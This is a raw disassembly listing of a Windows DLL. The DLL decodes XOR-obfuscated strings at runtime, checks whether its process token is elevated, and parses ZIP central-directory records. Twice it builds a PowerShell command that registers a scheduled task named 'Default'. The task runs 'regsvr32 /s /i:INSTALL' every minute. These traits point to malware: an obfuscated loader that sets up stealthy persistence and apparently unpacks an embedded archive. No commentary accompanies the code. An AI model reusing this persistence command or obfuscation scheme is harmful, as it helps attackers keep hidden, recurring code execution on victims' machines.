movabs rdx, 0x43d04556a3c40615
xor rbx, rdx
mov qword [rax], rbx
mov byte [rax + 8], dil
mov byte [rax + 9], cl
mov qword [rsp + 0x2e0], 0xa
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 0xa
mov byte [rsp + 0x2f8], 0
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x308], 8
mov qword [rsp + 0x310], 0
mov qword [rsp + 0x368], 0
mov qword [rsp + 0x378], 0
mov word [rsp + 0x380], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x318], rax
mov dword [rsp + 0x3a0], 0
mov word [rsp + 0x3a4], 0
mov dword [rsp + 0x338], 6
mov dword [rsp + 0x348], 6
mov dword [rsp + 0x358], 6
mov qword [rsp + 0x388], 0
mov qword [rsp + 0x398], 0
lea rax, [0x1800904bc]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov dword [rsp + 0x150], 0xeb03f8ca
mov edx, dword [rsp + 0x150]
call fcn.180019570
mov rbx, qword [rax]
movzx eax, byte [0x1800a40a8]
mov edx, 8
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x1800074d4
mov rdi, rax
lea rcx, [rsp + 0x300]
movabs rax, 0x94352f08d7fb369c
xor rbx, rax
mov qword [rdi], rbx
call fcn.18004fd40
sub rsi, r14
add rsi, 0x1f
mov rax, qword [rsp + 0x308]
mov qword [rax], 0
mov qword [rax + 8], 8
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 8
mov byte [rax + 0x20], 0
mov qword [rsp + 0x310], 1
lea rcx, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x38]
mov r8, rsi
call fcn.18004fc70
mov dword [rsp + 0x3a0], 0x8000000
lea rdi, [rsp + 0x150]
lea rdx, [rsp + 0x2e0]
mov rcx, rdi
call fcn.18004a430
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x150], rax
je 0x1800074e8
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x220], rax
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x200], xmm1
movdqa xmmword [rsp + 0x1f0], xmm0
lea rcx, [rsp + 0x2e0]
call fcn.180001770
cmp dword [rsp + 0x220], 0
je 0x180003f8e
mov qword [rsp + 0x2e0], 0
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x150], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea r8, [rsp + 0x2e0]
mov rcx, rax
mov edx, 8
call sub.ADVAPI32.dll_OpenProcessToken
test eax, eax
je 0x1800038aa
mov rcx, qword [rsp + 0x2e0]
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x50]
mov edx, 0x14
mov r9d, 4
call sub.ADVAPI32.dll_GetTokenInformation
mov ebx, eax
mov rcx, qword [rsp + 0x2e0]
call sub.KERNEL32.dll_CloseHandle
test ebx, ebx
je 0x1800038aa
cmp dword [rsp + 0x50], 0
je 0x1800038aa
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x150], rax
lea rax, [0x18003fa30]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x160], rax
lea rax, [0x180001e10]
mov qword [rsp + 0x168], rax
lea rax, str.Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__regsvr32___Argument___S__i:INSTALL_____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddMinutes_1___RepetitionInterval__New_TimeSpan__Minutes_1____TaskName___Description_Default__Settings__New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries_
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], 3
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x2f0], rdi
mov qword [rsp + 0x2f8], 2
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x2e0]
call fcn.180008f30
jmp 0x180003955
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x150], rax
lea rax, [0x18003fa30]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x160], rax
lea rax, [0x180001e10]
mov qword [rsp + 0x168], rax
lea rax, str.Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__regsvr32___Argument___S__i:INSTALL_____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddMinutes_1___RepetitionInterval__New_TimeSpan__Minutes_1____TaskName___Description_Default__Settings__New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries_
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], 3
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x2f0], rdi
mov qword [rsp + 0x2f8], 2
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x2e0]
call fcn.180008f30
mov rbp, qword [rsp + 0x50]
mov r13, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
lea rax, [0x180092784]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x70d2c7fd
mov edx, dword [rsp + 0x2e0]
call fcn.180019680
mov rbx, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x1800a40a8]
mov edx, 0xa
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x1800076ff
mov ecx, esi
shr ecx, 8
xor cl, 0x72
xor sil, 0xe2
movabs rdx, 0x98e739459f0a28ee
xor rbx, rdx
mov qword [rax], rbx
mov byte [rax + 8], sil
mov byte [rax + 9], cl
mov qword [rsp + 0x2e0], 0xa
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 0xa
mov byte [rsp + 0x2f8], 0
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x308], 8
mov qword [rsp + 0x310], 0
mov qword [rsp + 0x368], 0
mov qword [rsp + 0x378], 0
mov word [rsp + 0x380], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x318], rax
mov dword [rsp + 0x3a0], 0
mov word [rsp + 0x3a4], 0
mov dword [rsp + 0x338], 6
mov dword [rsp + 0x348], 6
mov dword [rsp + 0x358], 6
mov qword [rsp + 0x388], 0
mov qword [rsp + 0x398], 0
lea rcx, [rsp + 0x2e0]
mov rdx, r13
mov r8, rdi
call fcn.18004fc70
mov dword [rsp + 0x3a0], 0x8000000
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x2e0]
call fcn.18004a430
lea rax, [0x18008fa08]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], 0x718fff30
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x150], rax
je 0x180007713
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x120], rax
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movdqa xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x2e0]
call fcn.180001770
mov dil, 1
cmp dword [rsp + 0x120], 0
jne 0x180003f34
lea rax, [0x180091e2f]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x9ce9a9
mov edx, dword [rsp + 0x2e0]
call fcn.1800195d0
mov rsi, qword [rax]
movzx eax, byte [0x1800a40a8]
mov edx, 8
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x180007832
movabs rcx, 0x7cfd87c8be4c23d3
xor rsi, rcx
mov qword [rax], rsi
mov qword [rsp + 0x2e0], 8
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 8
mov byte [rsp + 0x2f8], 0
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x308], 8
mov qword [rsp + 0x310], 0
mov qword [rsp + 0x368], 0
mov qword [rsp + 0x378], 0
mov word [rsp + 0x380], 0
movabs rax, 0x8000000000000000
mov qword [rsp + 0x318], rax
mov dword [rsp + 0x3a0], 0
mov word [rsp + 0x3a4], 0
mov dword [rsp + 0x338], 6
mov dword [rsp + 0x348], 6
mov dword [rsp + 0x358], 6
mov qword [rsp + 0x388], 0
mov qword [rsp + 0x398], 0
lea rax, [0x180086404]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov dword [rsp + 0x150], 0xb303ec56
mov edx, dword [rsp + 0x150]
call fcn.1800197a0
mov r15, qword [rax]
movzx esi, word [rax + 8]
movzx eax, byte [0x1800a40a8]
mov ebx, 0xa
mov edx, 0xa
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x18000778e
mov r14, rax
lea rdi, [rsp + 0x300]
mov eax, esi
shr eax, 8
xor al, 0xc7
xor sil, 0x9c
movabs rcx, 0x184ee65e7a7bd5fc
xor r15, rcx
mov qword [r14], r15
mov byte [r14 + 8], sil
mov byte [r14 + 9], al
mov rcx, rdi
call fcn.18004fd40
mov rsi, qword [rsp + 0x308]
mov qword [rsi], 0
mov qword [rsi + 8], 0xa
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 0xa
mov byte [rsi + 0x20], 0
mov qword [rsp + 0x310], 1
lea rax, [0x18008cad7]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x150]
mov rcx, qword [rsp + 0x150]
mov dword [rsp + 0x150], 0x4d3b20fd
mov edx, dword [rsp + 0x150]
call fcn.180019600
movzx r15d, word [rax]
movzx eax, byte [0x1800a40a8]
mov ebx, 2
mov edx, 2
xor ecx, ecx
call fcn.18004b1f0
test rax, rax
je 0x18000778e
mov r14, rax
xor r15d, 0xcf45
mov word [rax], r15w
cmp qword [rsp + 0x300], 1
jne 0x180003df0
mov rcx, rdi
call fcn.18004fd40
mov rsi, qword [rsp + 0x308]
mov qword [rsi + 0x28], 0
mov qword [rsi + 0x30], 2
mov qword [rsi + 0x38], r14
mov qword [rsi + 0x40], 2
mov byte [rsi + 0x48], 0
mov qword [rsp + 0x310], 2
lea rcx, [rsp + 0x2e0]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xb8]
call fcn.18004fc70
cmp qword [rsp + 0x30], 0
je 0x180003e57
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0xc8]
call sub.KERNEL32.dll_HeapFree
xor edi, edi
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x2e0]
call fcn.18004a430
lea rax, [0x18008cfd1]
mov qword [rsp + 0x148], rax
lea rax, [rsp + 0x148]
mov dword [rsp + 0x148], 0xe001ee71
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x150], rax
je 0x180007846
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x80], rax
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movups xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x2e0]
call fcn.180001770
cmp dword [rsp + 0x80], 0
je 0x180006841
cmp qword [rsp + 0x50], 0
je 0x180003f17
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x68], 0
je 0x180003f32
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
xor edi, edi
cmp qword [rsp + 0xf0], 0
je 0x180003f55
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x108], 0
je 0x180003f76
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test rbp, rbp
je 0x180003f91
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
jmp 0x180003f91
mov dil, 1
cmp qword [rsp + 0x1f0], 0
je 0x180003fb2
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x208], 0
je 0x180003fd3
mov r8, qword [rsp + 0x210]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test r12, r12
je 0x180003feb
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x38]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0xd0], 0
mov rsi, qword [rsp + 0xb0]
je 0x180004014
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x1d0], 0
je 0x180004035
mov r8, qword [rsp + 0x1d8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test dil, dil
je 0x180004058
cmp qword [rsp + 0x30], 0
je 0x180004058
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0xc8]
call sub.KERNEL32.dll_HeapFree
test rsi, rsi
je 0x180004073
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x228]
call sub.KERNEL32.dll_HeapFree
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x60], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x38], rax
xor r13d, r13d
mov esi, 0xffffffff
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jb 0x1800040cf
jmp 0x1800040f0
jae 0x1800041a2
cmp r8, 0x201
jae 0x1800040f0
mov r14d, 0x200
lea r15, [rsp + 0x2e0]
mov r12, r8
jmp 0x180004136
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x180004117
lea rcx, [rsp + 0x50]
mov rdx, rbx
call fcn.180021fa0
mov r13, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
cmp r13, rsi
mov ebx, 0xffffffff
cmovb rbx, r13
mov qword [rsp + 0x60], rbx
mov rdi, r13
mov r14, rbx
mov r15, qword [rsp + 0x38]
mov r12, rbx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [0x180071030]
mov ecx, r12d
mov rdx, r15
call rax
mov ebp, eax
test eax, eax
jne 0x18000415f
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x180006e57
mov r8d, ebp
cmp r12, r8
jne 0x1800040c0
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x180006e3a
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
mov esi, 0xffffffff
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jae 0x1800040f0
jmp 0x1800040cf
cmp r14, r8
jb 0x18000751e
lea rcx, [rsp + 0x150]
mov rdx, r15
mov r13, qword [rsp + 0x28]
call fcn.1800207f0
mov r14, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x158]
mov rdi, qword [rsp + 0x160]
cmp qword [rsp + 0x50], 0
je 0x1800041f3
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x180006e81
lea rax, [0x180092cb1]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0x1af2faa
mov edx, dword [rsp + 0x2e0]
call fcn.180019620
movabs rcx, 0xc9fab2c53aaccfcf
xor rcx, qword [rax]
movabs rdx, 0xd771e6b96be9ff94
xor rdx, qword [rax + 8]
mov r8d, 0x9f70de2a
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rdx
mov dword [rsp + 0x160], r8d
test rdi, rdi
je 0x1800042a3
js 0x18000774c
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rdi
call fcn.18004b1f0
test rax, rax
je 0x180007756
mov rbx, rax
jmp 0x1800042a8
mov ebx, 1
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x2e0], rdi
mov qword [rsp + 0x2e8], rbx
mov qword [rsp + 0x2f0], rdi
mov byte [rsp + 0x2f8], 0
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x150]
mov r8d, 0x14
call fcn.18003ddc0
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x1e8], rax
mov rbp, qword [rsp + 0x2f0]
test r14, r14
je 0x18000432f
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov dword [rsp + 0x2e0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2e8], xmm0
mov dword [rsp + 0x2f8], 7
mov qword [rsp + 0x2fc], 0
mov word [rsp + 0x304], 0
mov byte [rsp + 0x301], 1
mov byte [rsp + 0x304], 1
mov byte [rsp + 0x303], 1
lea r8, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x1e8]
mov rdx, rbp
call fcn.18003a810
mov rsi, rdx
test rax, rax
jne 0x180007206
mov edi, 0x1e78e
lea rbx, [0x180074b38]
lea r14, [rsp + 0x2e8]
lea r15, str.failed_to_write_whole_buffer
lea r12, [0x180072030]
jmp 0x1800043eb
cmp byte [rdx + 0xf], 0x23
jne 0x1800071fb
mov rcx, r14
call fcn.18001c870
test rdi, rdi
je 0x180004485
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.18001cec0
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], rdx
test rax, rax
je 0x180004430
mov eax, edx
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rdx + 0x10], 0x23
je 0x1800043da
jmp 0x1800071fb
test rdx, rdx
je 0x1800071f8
mov rax, rdi
sub rax, rdx
jb 0x18000723a
add rbx, rdx
mov rdi, rax
test rdi, rdi
jne 0x1800043eb
jmp 0x180004485
mov rax, rdx
shr rax, 0x20
cmp eax, 0x23
je 0x1800043da
mov rcx, rsi
mov rsi, rdx
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x18000448d
jmp 0x180007206
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x2e0], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2e8], xmm0
mov dword [rsp + 0x2f8], 7
mov qword [rsp + 0x2fc], 0
mov word [rsp + 0x304], 0
mov byte [rsp + 0x300], 1
lea r8, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x1e8]
mov rdx, rbp
call fcn.18003a810
mov rsi, rdx
test rax, rax
jne 0x180007538
mov qword [rsp + 0x7b8], rbp
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x2e0], 0
lea r8, [rsp + 0x2e0]
mov rcx, rsi
xor edx, edx
mov r9d, 2
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x18000756c
mov rax, qword [rsp + 0x2e0]
lea rdi, [rax - 0x16]
add rax, 0xfffffffffffeffeb
xor r12d, r12d
test rax, rax
cmovg r12, rax
mov ebp, 1
lea rax, str.Could_not_find_central_directory_endInvalid_digital_signature_header
mov qword [rsp + 0x30], rax
cmp rdi, r12
jl 0x180006e1b
mov rbx, qword [rsp + 0x48]
xor r13d, r13d
lea r14, [rsp + 0x2e0]
lea r15, [rsp + 0x48]
jmp 0x180004593
lea rax, [rdi - 1]
inc r13
cmp rdi, r12
mov rdi, rax
jle 0x180006e1b
mov qword [rsp + 0x2e0], 0
mov rcx, rsi
mov rdx, rdi
mov r8, r14
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180006dd0
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, r15
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006dee
cmp dword [rsp + 0x2e0], 0x6054b50
jne 0x180004580
mov qword [rsp + 0x2e0], 0
mov edx, 0x10
mov rcx, rbx
mov r8, r14
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180006dd0
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, r15
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006dee
movzx eax, word [rsp + 0x2e0]
cmp r13, rax
jne 0x180004580
mov rsi, qword [rsp + 0x48]
mov rcx, rsi
xor edx, edx
mov r8, rdi
call fcn.18003dd60
test rax, rax
jne 0x180007585
mov dword [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 4
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
cmp dword [rsp + 0x2e0], 0x6054b50
jne 0x18000758f
mov word [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 2
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
movzx ebx, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 2
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
movzx ebp, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 2
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
movzx r15d, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 2
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
mov dword [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 4
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
mov dword [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 4
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
mov edi, dword [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
lea rcx, [rsp + 0x48]
lea rdx, [rsp + 0x2e0]
mov r8d, 2
call fcn.18001b7b0
test rax, rax
jne 0x180006ddd
movzx r8d, word [rsp + 0x2e0]
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x48]
call fcn.18001b6d0
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x290], rcx
cmp rcx, rax
je 0x1800075ab
mov rax, qword [rsp + 0x2e8]
cmp bx, bp
mov qword [rsp + 0x288], rax
jne 0x1800075b8
test r15, r15
je 0x180004878
mov eax, r15d
shl eax, 4
lea rbx, [rax + rax*8]
movzx eax, byte [0x1800a40a8]
xor ecx, ecx
mov rdx, rbx
call fcn.18004b1f0
test rax, rax
je 0x180007768
mov rbp, rax
mov rbx, r15
jmp 0x18000487f
mov ebp, 8
xor ebx, ebx
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbp
mov qword [rsp + 0xe0], 0
call fcn.18001c010
test rax, rax
je 0x1800075e8
movdqu xmm0, xmmword [rax]
inc qword [rax]
movups xmm1, xmmword [0x180095d90]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x180095d80]
movaps xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x2e0], 0
lea r8, [rsp + 0x2e0]
mov rcx, rsi
mov rdx, rdi
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x180007619
xor eax, eax
mov qword [rsp + 0x258], rax
test r15w, r15w
je 0x1800058b1
lea rdi, [rsp + 0x48]
lea r14, [rsp + 0x2e0]
lea rax, [0x180095e82]
mov qword [rsp + 0x30], rax
lea rax, [0x180095e69]
mov qword [rsp + 0x1c8], rax
pxor xmm6, xmm6
movdqa xmm7, xmmword [0x180072020]
pcmpeqd xmm8, xmm8
xor eax, eax
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x270], r15
jmp 0x1800049ae
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
cmp dword [rsp + 0x2e0], 0x2014b50
jne 0x180006eba
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx eax, word [rsp + 0x2e0]
mov dword [rsp + 0xa0], eax
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx eax, word [rsp + 0x2e0]
mov dword [rsp + 0x38], eax
test eax, 0x800
sete al
mov dword [rsp + 0x230], eax
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx eax, word [rsp + 0x2e0]
mov word [rsp + 0xc8], ax
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx eax, word [rsp + 0x2e0]
mov word [rsp + 0xae], ax
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx eax, word [rsp + 0x2e0]
mov word [rsp + 0x278], ax
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov r13d, dword [rsp + 0x2e0]
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov eax, dword [rsp + 0x2e0]
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov eax, dword [rsp + 0x2e0]
mov qword [rsp + 0x2b0], rax
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx esi, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx r12d, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
movzx ebp, word [rsp + 0x2e0]
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov word [rsp + 0x2e0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov eax, dword [rsp + 0x2e0]
mov dword [rsp + 0x2a8], eax
mov dword [rsp + 0x2e0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, r14
call fcn.18001b7b0
test rax, rax
jne 0x180006d73
mov ebx, dword [rsp + 0x2e0]
mov rcx, r14
mov rdx, rdi
mov r8, rsi
call fcn.18001b6d0
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xb0], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0xe8], rcx
cmp rcx, rax
je 0x180006edd
mov dword [rsp + 0x2a0], r13d
mov r14, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x2e0]
mov rdx, rdi
mov r8, r12
call fcn.18001b6d0
mov rcx, qword [rsp + 0x2e0]
mov r13, qword [rsp + 0x2e8]
movabs rax, 0x8000000000000000
mov qword [rsp + 0x238], rcx
cmp rcx, rax
je 0x180006eec
mov r15, qword [rsp + 0x2f0]
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x48]
mov r8, rbp
call fcn.18001b6d0
mov rcx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0xb8], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0x140], rcx
cmp rcx, rax
je 0x180006f02
mov rsi, qword [rsp + 0x2f0]
test dword [rsp + 0x38], 0x800
jne 0x180004e60
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], r14
lea rcx, [rsp + 0x1f0]
lea rdi, [rsp + 0x2e0]
